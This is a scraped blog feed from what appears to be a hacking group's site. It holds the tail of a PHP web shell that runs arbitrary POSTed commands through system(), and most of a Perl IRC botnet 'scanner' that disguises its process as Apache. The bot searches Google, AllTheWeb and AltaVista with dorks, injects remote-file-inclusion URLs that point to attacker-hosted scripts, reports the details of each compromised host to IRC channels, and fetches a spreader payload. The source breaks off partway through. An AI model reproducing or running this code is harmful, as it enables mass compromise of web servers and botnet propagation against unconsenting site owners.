&lt;font face=&#8221;courier new&#8221; size=&#8221;2&#8243; color=&#8221;777777&#8243;&gt;<br />
&lt;b&gt;#&lt;/b&gt;D-3-D php : &lt;br&gt;<br />
&lt;FORM name=injection METHOD=POST ACTION=&#8221;&lt;?php echo $_SERVER["REQUEST_URI"];?&gt;&#8221;&gt;<br />
cmd :<br />
&lt;INPUT TYPE=&#8221;text&#8221; NAME=&#8221;cmd&#8221; value=&#8221;&lt;?php echo stripslashes(htmlentities($_POST['cmd'])); ?&gt;&#8221; size=&#8221;161&#8243;&gt;<br />
&lt;br&gt;<br />
&lt;INPUT TYPE=&#8221;submit&#8221;&gt;<br />
&lt;/FORM&gt;<br />
&lt;hr color=777777 width=100% height=115px&gt;<br />
&lt;/font&gt;<br />
&lt;pre&gt;<br />
&lt;?<br />
$cmd = $_POST['cmd'];<br />
if (isset($chdir)) @chdir($chdir);<br />
ob_start();<br />
system(&#8220;$cmd 1&gt; /tmp/cmdtemp 2&gt;&amp;1; cat /tmp/cmdtemp; rm /tmp/cmdtemp&#8221;);<br />
$output = ob_get_contents();<br />
ob_end_clean();<br />
if (!empty($output)) echo str_replace(&#8220;&gt;&#8221;, &#8220;&amp;gt;&#8221;, str_replace(&#8220;&lt;&#8221;, &#8220;&amp;lt;&#8221;, $output));<br />
?&gt;<br />
&lt;/pre&gt;<br />
&lt;hr color=777777 width=100% height=115px&gt;<br />
&lt;font face=&#8221;courier new&#8221; size=&#8221;2&#8243; color=&#8221;777777&#8243;&gt;<br />
&lt;p align=&#8221;center&#8221;&gt;&lt;b&gt;&lt;font face=&#8221;Algerian&#8221; size=&#8221;7&#8243;&gt;.:sOlo TecHnoLoGy Corps:.&lt;/U&gt;&lt;/b&gt;&lt;/marquee&gt;<br />
&lt;/font&gt;<br />
&lt;/body&gt;<br />
&lt;/div&gt;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/soloteam.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/soloteam.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/soloteam.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/soloteam.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/soloteam.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/soloteam.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/soloteam.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/soloteam.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/soloteam.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/soloteam.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/soloteam.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/soloteam.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/soloteam.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/soloteam.wordpress.com/54/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=54&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://soloteam.wordpress.com/2009/03/31/sambungan-inject-php/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7865a8bb4bc5119f626841e0f5ed8548?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">soloteam</media:title>
		</media:content>
	</item>
		<item>
		<title>bot usil scaner</title>
		<link>http://soloteam.wordpress.com/2009/03/31/bot-usil-scaner/</link>
		<comments>http://soloteam.wordpress.com/2009/03/31/bot-usil-scaner/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 22:45:58 +0000</pubDate>
		<dc:creator>soloteam</dc:creator>
				<category><![CDATA[Tcl and scripts]]></category>

		<guid isPermaLink="false">http://soloteam.wordpress.com/?p=51</guid>
		<description><![CDATA[!/usr/bin/perl $process   = &#8220;/usr/local/apache2/bin/httpd -DSSL&#8221;; my $printcmd  = &#8220;http://www.kuiwa.at/spider.txt?&#8221;; my $id        = &#8220;http://www.kuiwa.at/tikam.txt?&#8221;; my $spread    = &#8220;http://geocities.com/ina_lidya/spreads.txt?&#8221;; my $bot       = &#8220;http://www.kuiwa.at/bot.txt?&#8221;; my $bin       = &#8220;http://cause-i-can.com/readme.txt?&#8221;; my $ircserver = &#8220;irc.byroe.net&#8221;; my $start     = &#8220;!solo&#8221;; my $port      = &#8220;6666&#8243;; my $nickname  = &#8220;Solo&#8221; . int( rand(9) ). &#8220;&#8221;; my $admin     = &#8220;Estrada&#8221;; ## put here ur nickname, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=51&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<ol>
<li>!/usr/bin/perl</li>
</ol>
<p>$process   = &#8220;/usr/local/apache2/bin/httpd -DSSL&#8221;;<br />
my $printcmd  = &#8220;http://www.kuiwa.at/spider.txt?&#8221;;<br />
my $id        = &#8220;http://www.kuiwa.at/tikam.txt?&#8221;;<br />
my $spread    = &#8220;http://geocities.com/ina_lidya/spreads.txt?&#8221;;<br />
my $bot       = &#8220;http://www.kuiwa.at/bot.txt?&#8221;;<br />
my $bin       = &#8220;http://cause-i-can.com/readme.txt?&#8221;;<br />
my $ircserver = &#8220;irc.byroe.net&#8221;;<br />
my $start     = &#8220;!solo&#8221;;<br />
my $port      = &#8220;6666&#8243;;<br />
my $nickname  = &#8220;Solo&#8221; . int( rand(9) ). &#8220;&#8221;;<br />
my $admin     = &#8220;Estrada&#8221;; ## put here ur nickname, so u can find all the results in pvt<br />
my $channel   = &#8220;#soloteam&#8221;; ## the normal chan to scan, and see the results too <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /><br />
my $chanres   = &#8220;#bot&#8221;; ## the channel where u can find all the results of the bot<br />
my $verz      = &#8220;Soloteam Scanner Technology&#8221;;</p>
<p>print &#8220;\n&#8221;;<br />
print &#8220;  Soloteam Scanner Technology\n&#8221;;<br />
print &#8220;  Author: noname\n&#8221;;<br />
print &#8220;  Release $verz\n&#8221;;<br />
print &#8220;  Server $ircserver:$port\n&#8221;;<br />
print &#8220;  $channel and $chanres\n&#8221;;<br />
print &#8220;  Enjoy <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> \n\n&#8221;;</p>
<p>use IO::Socket::INET;<br />
use HTTP::Request;<br />
use LWP::UserAgent;<br />
require LWP;<br />
$|++;</p>
<p>my $pid = fork;<br />
exit if $pid;<br />
$0 = &#8220;$process&#8221; . &#8220;&#8221; x 16;<br />
my $dsp = IO::Socket::INET-&gt;new(<br />
PeerAddr =&gt; &#8220;$ircserver&#8221;,<br />
PeerPort =&gt; &#8220;$port&#8221;,<br />
Proto    =&gt; &#8220;tcp&#8221;<br />
) or die &#8220;Can not connect on server!\n&#8221;;<br />
$dsp-&gt;autoflush(1);<br />
print $dsp &#8220;NICK $nickname\r\n&#8221;;<br />
print $dsp &#8220;USER usil 8 *  : Usil \r\n&#8221;;<br />
print $dsp &#8220;JOIN $channel\r\n&#8221;;<br />
print $dsp &#8220;PRIVMSG $channel :1Soloteam Scanner!! \r\n&#8221;;<br />
print $dsp &#8220;PRIVMSG $channel :1Scan Command Is:4 !scan bug dork 1&amp; 5!google bug dork \r\n&#8221;;<br />
print $dsp &#8220;PRIVMSG $channel :7Soloteam Scanner powered By Team sOlTecH CoMmUniTy \r\n&#8221;;<br />
sleep(1);<br />
print $dsp &#8220;NICK $nickname\r\n&#8221;;<br />
print $dsp &#8220;USER jahil 8 *  : Usil \r\n&#8221;;<br />
print $dsp &#8220;JOIN $chanres\r\n&#8221;;<br />
print $dsp &#8220;PRIVMSG $chanres :7Welcome 1:4) \r\n&#8221;;<br />
print $dsp &#8220;PRIVMSG $chanres :7Soloteam Scanner Powered By Team sOlTecH CoMmUniTy \r\n&#8221;;</p>
<p>while ( $line = &lt;$dsp&gt; ) {</p>
<p>$line =~ s/\r\n$//;<br />
if ( $line =~ /^PING \:(.*)/ ) {<br />
print &#8220;PONG :$1&#8243;;<br />
print $dsp &#8220;PONG :$1&#8243;;<br />
}</p>
<p>if ( $line =~ /PRIVMSG $channel :!help/ ) {<br />
sleep(1);<br />
display( $dsp,&#8221;PRIVMSG $channel :10HELP:&#8221;);<br />
display( $dsp,&#8221;PRIVMSG $channel :5[Help]10 Scan Command Is:4 !scan bug dork 10&amp;4 !google bug dork&#8221;);<br />
display( $dsp,&#8221;PRIVMSG $channel :5[Help]10 For Info Type: 7!info&#8221;);<br />
}</p>
<p>if ( $line =~ /PRIVMSG $channel :!info/ ) {<br />
my $sysos  = `uname -sr`;<br />
my $uptime = `uptime`;<br />
if ( $sysos =~ /freebsd/i ) {<br />
$sysname = `hostname`;<br />
$memory = `expr \`cat /var/run/dmesg.boot | grep &#8220;real memory&#8221; | cut -f5 -d&#8221; &#8220;\` \/ 1048576`;<br />
$swap = `$toploc | grep -i swap | cut -f2 -d&#8221; &#8221; | cut -f1 -d&#8221;M&#8221;`;<br />
chomp($memory);<br />
chomp($swap);<br />
}</p>
<p>elsif ( $sysos =~ /linux/i ) {<br />
$sysname = `hostname -f`;<br />
$memory  = `free -m |grep -i mem | awk &#8216;{print \$2}&#8217;`;<br />
$swap    = `free -m |grep -i swap | awk &#8216;{print \$2}&#8217;`;<br />
chomp($swap);<br />
chomp($memory);<br />
}<br />
else {<br />
$sysname = &#8220;No Found&#8221;;<br />
$memory  = &#8220;No found&#8221;;<br />
$swap    = &#8220;No Found&#8221;;<br />
}<br />
$uptime  =~ s/\n//g;<br />
$sysname =~ s/\n//g;<br />
$sysos   =~ s/\n//g;<br />
sleep(1);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Information:&#8221; );<br />
display( $dsp,&#8221;PRIVMSG $channel :5-10 Server:14 $ircserver 10Port:14 $port&#8221; );<br />
display( $dsp,&#8221;PRIVMSG $channel :5-10 Software:14 $sysos&#8221; );<br />
display( $dsp,&#8221;PRIVMSG $channel :5-10 Process/Pid:14 $process&#8221; );<br />
display( $dsp,&#8221;PRIVMSG $channel :5-10 Uptime:14 $uptime&#8221; );<br />
display( $dsp,&#8221;PRIVMSG $channel :5-10 Memory:14 $memory 10Swap:14 $swap&#8221; );<br />
display( $dsp,&#8221;PRIVMSG $channel :5-10 Creator:7 Team sOlTecH CoMmUniTy&#8221; );<br />
display( $dsp,&#8221;PRIVMSG $channel :5-10 Version:7 $verz&#8221; );<br />
}</p>
<p>if ( $line =~ /PRIVMSG $channel :!id/ )<br />
{</p>
<ol>
<li># Copyright © Script made by Team Soloteam indoIRC . Don&#8217;t remove this comment !</li>
</ol>
<p>my $testid = $id;<br />
my $req    = HTTP::Request-&gt;new( GET =&gt; $testid );<br />
my $ua     = LWP::UserAgent-&gt;new();<br />
$ua-&gt;timeout(5);<br />
my $response = $ua-&gt;request($req);<br />
if ( $response-&gt;is_success ) {<br />
my $re = $response-&gt;content;<br />
if ( $re =~ /&lt;\?php/ ) {<br />
sleep(1);<br />
display( $dsp,&#8221;PRIVMSG $channel :5[Info]3 The ID Is Work&#8221; );<br />
}<br />
}<br />
else {<br />
sleep(1);<br />
display( $dsp,&#8221;PRIVMSG $channel :5[Info]4 ID Is Not Work.&#8221; );<br />
display( $dsp,&#8221;PRIVMSG $channel :5[Info]4 Modify The ID.&#8221; );<br />
display( $dsp,&#8221;PRIVMSG $channel :5[Info]4 The Scanner Will Be Quited.&#8221; );<br />
display( $dsp,&#8221;PRIVMSG $channel :4[WARNING]12 Scanner Quited.&#8221; );<br />
sleep(2);<br />
display( $dsp,&#8221;PRIVMSG $channel :4[WARNING]12 Bye Bye&#8221; );<br />
display( $dsp,&#8221;QUIT&#8221; );<br />
}<br />
}</p>
<p>if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {<br />
if ( my $pid = fork ) {<br />
waitpid( $pid, 0 );<br />
}<br />
else {<br />
if (fork) {<br />
exit;<br />
}<br />
else {<br />
my $bug       = $1;<br />
my $dork      = $2;<br />
my $contatore = 0;<br />
my %hosts;<br />
sleep(1);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Scan Started From Dork: 4$dork&#8221; );<br />
my @google = &amp;googlet($dork);<br />
push( my @tot, @google );<br />
my @puliti = &amp;unici(@tot);<br />
display( $dsp,<br />
&#8220;PRIVMSG $channel :1GOOGLE15 &#8221; . scalar(@tot). &#8221; 10-15 &#8221; . scalar(@puliti) . &#8221; 10 From:14 $dork&#8221; );<br />
my $uni = scalar(@puliti);</p>
<p>foreach my $site (@puliti) {<br />
$contatore++;<br />
if ( $contatore % 100 == 0 ) {<br />
}<br />
if ( $contatore == $uni &#8211; 1 ) {<br />
display( $dsp,&#8221;PRIVMSG $channel :1Google10 Finished From Dork:14 $dork &#8221; );<br />
}<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $id . &#8220;?&#8221;;<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $bot . &#8220;?&#8221;;<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $id . &#8220;?&#8221;;<br />
my $print = &#8220;http://&#8221; . $site . $bug . $printcmd . &#8220;?&#8221;;<br />
my $req   = HTTP::Request-&gt;new( GET =&gt; $test );<br />
my $ua    = LWP::UserAgent-&gt;new();<br />
$ua-&gt;timeout(5);<br />
my $response = $ua-&gt;request($req);<br />
if ( $response-&gt;is_success ) {<br />
my $re = $response-&gt;content;<br />
if ( $re =~ /netcat/ &amp;&amp; $re =~ /uid=/ ) {<br />
my $hs = geths($print);<br />
$hosts{$hs}++;<br />
if ( $hosts{$hs} == &#8220;1&#8243; ) {<br />
$x = os($test);<br />
( $type, $space ) = split( /\,/, $x );<br />
sleep(4);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Exploiting&#8230; 1GOOGLE15 $bug14 $dork &#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Safemode:4 OFF 10Os:7 $os 10Link:5 $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uname -a:7 $un&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10HDD: Free:7 $free 10, Used:7 $used 10, Total:7 $all&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uptime:7 $up&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10ID:7 $id1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PWD:7 $pwd1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PHP Vers:7 $php1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Software:7 $sof1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Ip Addr:7 $ip1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Hostname:7 $name1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $admin :1Safemode:4 OFF 1Os: $os Link: $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $chanres :1Safemode:4 OFF 1Os: $os Link: $print&#8221;<br />
);<br />
my $test2 = &#8220;http://&#8221; . $site . $bug . $bins . &#8220;?&#8221;;<br />
my $test2 = &#8220;http://&#8221; . $site . $bug . $spread . &#8220;?&#8221;;<br />
my $reqz = HTTP::Request-&gt;new( GET =&gt; $test2 );<br />
my $ua = LWP::UserAgent-&gt;new();<br />
my $response = $ua-&gt;request($reqz);<br />
}<br />
}<br />
elsif ( $re =~ /netcat/ ) {<br />
my $hs = geths($print);<br />
$hosts{$hs}++;<br />
if ( $hosts{$hs} == &#8220;1&#8243; ) {<br />
$x = os($test);<br />
( $type, $space ) = split( /\,/, $x );<br />
sleep(4);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Exploiting&#8230; 1GOOGLE5 $bug4 $dork &#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Safemode:3 ON 10Os:3 $os 10Link:3 $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uname -a:3 $un&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10HDD: Free:3 $free 10Used:3 $used 10Total:3 $all&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uptime:3 $up&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PWD:3 $pwd1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PHP Vers:3 $php1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Software:3 $sof1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10IP Addr:3 $ip1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Hostname:3 $name1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $admin :1Safemode: 3ON 1Os: $os Link: $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $chanres :1Safemode: 3ON 1Os: $os Link: $print&#8221;<br />
);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
exit;<br />
}<br />
}</p>
<p>if ( $line =~ /PRIVMSG $channel :!google\s+(.*?)\s+(.*)/ ) {<br />
if ( my $pid = fork ) {<br />
waitpid( $pid, 0 );<br />
}<br />
else {<br />
if (fork) {<br />
exit;<br />
}<br />
else {<br />
my $bug       = $1;<br />
my $dork      = $2;<br />
my $contatore = 0;<br />
my %hosts;</p>
<p>my @google = &amp;googlet($dork);<br />
push( my @tot, @google );<br />
my @puliti = &amp;unici(@tot);<br />
display( $dsp,&#8221;PRIVMSG $channel :1GOOGLE15 &#8221; . scalar(@tot). &#8221; 10-15 &#8221; . scalar(@puliti) . &#8221; 10 From:14 $dork&#8221; );<br />
my $uni = scalar(@puliti);</p>
<p>foreach my $site (@puliti) {<br />
$contatore++;<br />
if ( $contatore % 100 == 0 ) {<br />
}<br />
if ( $contatore == $uni &#8211; 1 ) {<br />
display( $dsp,&#8221;PRIVMSG $channel :1Google10 Finished From Dork:14 $dork &#8221;<br />
);<br />
}<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $id . &#8220;?&#8221;;<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $bot . &#8220;?&#8221;;<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $id . &#8220;?&#8221;;<br />
my $print = &#8220;http://&#8221; . $site . $bug . $printcmd . &#8220;?&#8221;;<br />
my $req   = HTTP::Request-&gt;new( GET =&gt; $test );<br />
my $ua    = LWP::UserAgent-&gt;new();<br />
$ua-&gt;timeout(5);<br />
my $response = $ua-&gt;request($req);<br />
if ( $response-&gt;is_success ) {<br />
my $re = $response-&gt;content;<br />
if ( $re =~ /netcat/ &amp;&amp; $re =~ /uid=/ ) {<br />
my $hs = geths($print);<br />
$hosts{$hs}++;<br />
if ( $hosts{$hs} == &#8220;1&#8243; ) {<br />
$x = os($test);<br />
( $type, $space ) = split( /\,/, $x );<br />
sleep(4);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Exploiting&#8230; 1GOOGLE15 $bug14 $dork &#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Safemode:4 OFF 10Os:7 $os 10Link:5 $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uname -a:7 $un&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10HDD: Free:7 $free 10, Used:7 $used 10, Total:7 $all&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uptime:7 $up&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10ID:7 $id1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PWD:7 $pwd1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PHP Vers:7 $php1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Software:7 $sof1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Ip Addr:7 $ip1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Hostname:7 $name1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $admin :1Safemode:4 OFF 1Os: $os Link: $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $chanres :1Safemode:4 OFF 1Os: $os Link: $print&#8221;<br />
);<br />
my $test2 = &#8220;http://&#8221; . $site . $bug . $bins . &#8220;?&#8221;;<br />
my $test2 = &#8220;http://&#8221; . $site . $bug . $spread. &#8220;?&#8221;;<br />
my $reqz = HTTP::Request-&gt;new( GET =&gt; $test2 );<br />
my $ua = LWP::UserAgent-&gt;new();<br />
my $response = $ua-&gt;request($reqz);<br />
}<br />
}<br />
elsif ( $re =~ /netcat/ ) {<br />
my $hs = geths($print);<br />
$hosts{$hs}++;<br />
if ( $hosts{$hs} == &#8220;1&#8243; ) {<br />
$x = os($test);<br />
( $type, $space ) = split( /\,/, $x );<br />
sleep(4);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Exploiting&#8230; 1GOOGLE5 $bug4 $dork &#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Safemode:3 ON 10Os:3 $os 10Link:3 $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uname -a:3 $un&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10HDD: Free:3 $free 10Used:3 $used 10Total:3 $all&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uptime:3 $up&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PWD:3 $pwd1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PHP Vers:3 $php1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Software:3 $sof1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10IP Addr:3 $ip1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Hostname:3 $name1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $admin :1Safemode: 3ON 1Os: $os Link: $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $chanres :1Safemode: 3ON 1Os: $os Link: $print&#8221;<br />
);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
exit;<br />
}<br />
}</p>
<p>if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {<br />
if ( my $pid = fork ) {<br />
waitpid( $pid, 0 );<br />
}<br />
else {<br />
if (fork) {<br />
exit;<br />
}<br />
else {<br />
my $bug       = $1;<br />
my $dork      = $2;<br />
my $contatore = 0;<br />
my %hosts;<br />
my @alltheweb = &amp;alltheweb($dork);<br />
push( my @tot, @alltheweb );<br />
my @puliti = &amp;unici(@tot);<br />
display( $dsp,<br />
&#8220;PRIVMSG $channel :2ALLTHEWEB15 &#8221; . scalar(@tot) . &#8221; 10-15 &#8221; . scalar(@puliti) . &#8221; 10 From:14 $dork&#8221; );<br />
my $uni = scalar(@puliti);</p>
<p>foreach my $site (@puliti) {<br />
$contatore++;<br />
if ( $contatore % 100 == 0 ) {<br />
}<br />
if ( $contatore == $uni &#8211; 1 ) {<br />
display( $dsp,&#8221;PRIVMSG $channel :2ALLTHEWEB10 Finished From Dork:14 $dork &#8221; );<br />
}<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $id . &#8220;?&#8221;;<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $bot . &#8220;?&#8221;;<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $id . &#8220;?&#8221;;<br />
my $print = &#8220;http://&#8221; . $site . $bug . $printcmd . &#8220;?&#8221;;<br />
my $req   = HTTP::Request-&gt;new( GET =&gt; $test );<br />
my $ua    = LWP::UserAgent-&gt;new();<br />
$ua-&gt;timeout(5);<br />
my $response = $ua-&gt;request($req);<br />
if ( $response-&gt;is_success ) {<br />
my $re = $response-&gt;content;<br />
if ( $re =~ /netcat/ &amp;&amp; $re =~ /uid=/ ) {<br />
my $hs = geths($print);<br />
$hosts{$hs}++;<br />
if ( $hosts{$hs} == &#8220;1&#8243; ) {<br />
$x = os($test);<br />
( $type, $space ) = split( /\,/, $x );<br />
sleep(4);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Exploiting&#8230; 2ALLTHEWEB15 $bug14 $dork &#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Safemode:4 OFF 10Os:7 $os 10Link:5 $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uname -a:7 $un&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10HDD: Free:7 $free 10, Used:7 $used 10, Total:7 $all&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uptime:7 $up&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10ID:7 $id1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PWD:7 $pwd1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PHP Vers:7 $php1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Software:7 $sof1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Ip Addr:7 $ip1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Hostname:7 $name1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $admin :1Safemode:4 OFF 1Os: $os Link: $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $chanres :1Safemode:4 OFF 1Os: $os Link: $print&#8221;<br />
);<br />
my $test2 = &#8220;http://&#8221; . $site . $bug . $bins . &#8220;?&#8221;;<br />
my $test2 = &#8220;http://&#8221; . $site . $bug . $spread . &#8220;?&#8221;;<br />
my $reqz = HTTP::Request-&gt;new( GET =&gt; $test2 );<br />
my $ua = LWP::UserAgent-&gt;new();<br />
my $response = $ua-&gt;request($reqz);<br />
}<br />
}<br />
elsif ( $re =~ /netcat/ ) {<br />
my $hs = geths($print);<br />
$hosts{$hs}++;<br />
if ( $hosts{$hs} == &#8220;1&#8243; ) {<br />
$x = os($test);<br />
( $type, $space ) = split( /\,/, $x );<br />
sleep(4);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Exploiting&#8230; 2ALLTHEWEB5 $bug4 $dork &#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Safemode:3 ON 10Os:3 $os 10Link:3 $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uname -a:3 $un&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10HDD: Free:3 $free 10Used:3 $used 10Total:3 $all&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Uptime:3 $up&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PWD:3 $pwd1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10PHP Vers:3 $php1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Software:3 $sof1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10IP Addr:3 $ip1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $channel :10Hostname:3 $name1&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $admin :1Safemode: 3ON 1Os: $os Link: $print&#8221;<br />
);<br />
display( $dsp,&#8221;PRIVMSG $chanres :1Safemode: 3ON 1Os: $os Link: $print&#8221;<br />
);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
exit;<br />
}<br />
}</p>
<p>if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {<br />
if ( my $pid = fork ) {<br />
waitpid( $pid, 0 );<br />
}<br />
else {<br />
if (fork) {<br />
exit;<br />
}<br />
else {<br />
my $bug       = $1;<br />
my $dork      = $2;<br />
my $contatore = 0;<br />
my %hosts;<br />
my @alt   = &amp;altavista($dork);<br />
push( my @tot, @alt );<br />
my @puliti = &amp;unici(@tot);<br />
display( $dsp,<br />
&#8220;PRIVMSG $channel :4ALTAVISTA15 &#8221; . scalar(@tot) . &#8221; 10-15 &#8221; . scalar(@puliti) . &#8221; 10 From:14 $dork&#8221; );<br />
my $uni = scalar(@puliti);</p>
<p>foreach my $site (@puliti) {<br />
$contatore++;<br />
if ( $contatore % 100 == 0 ) {<br />
}<br />
if ( $contatore == $uni &#8211; 1 ) {<br />
display( $dsp,&#8221;PRIVMSG $channel :4ALTAVISTA10 Finished From Dork:14 $dork &#8221; );<br />
}<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $id . &#8220;?&#8221;;<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $bot . &#8220;?&#8221;;<br />
my $test  = &#8220;http://&#8221; . $site . $bug . $id . &#8220;?&#8221;;<br />
my $print = &#8220;http://&#8221; . $site . $bug . $printcmd . &#8220;?&#8221;;<br />
my $req   = HTTP::Request-&gt;new( GET =&gt; $test );<br />
my $ua    = LWP::UserAgent-&gt;new();<br />
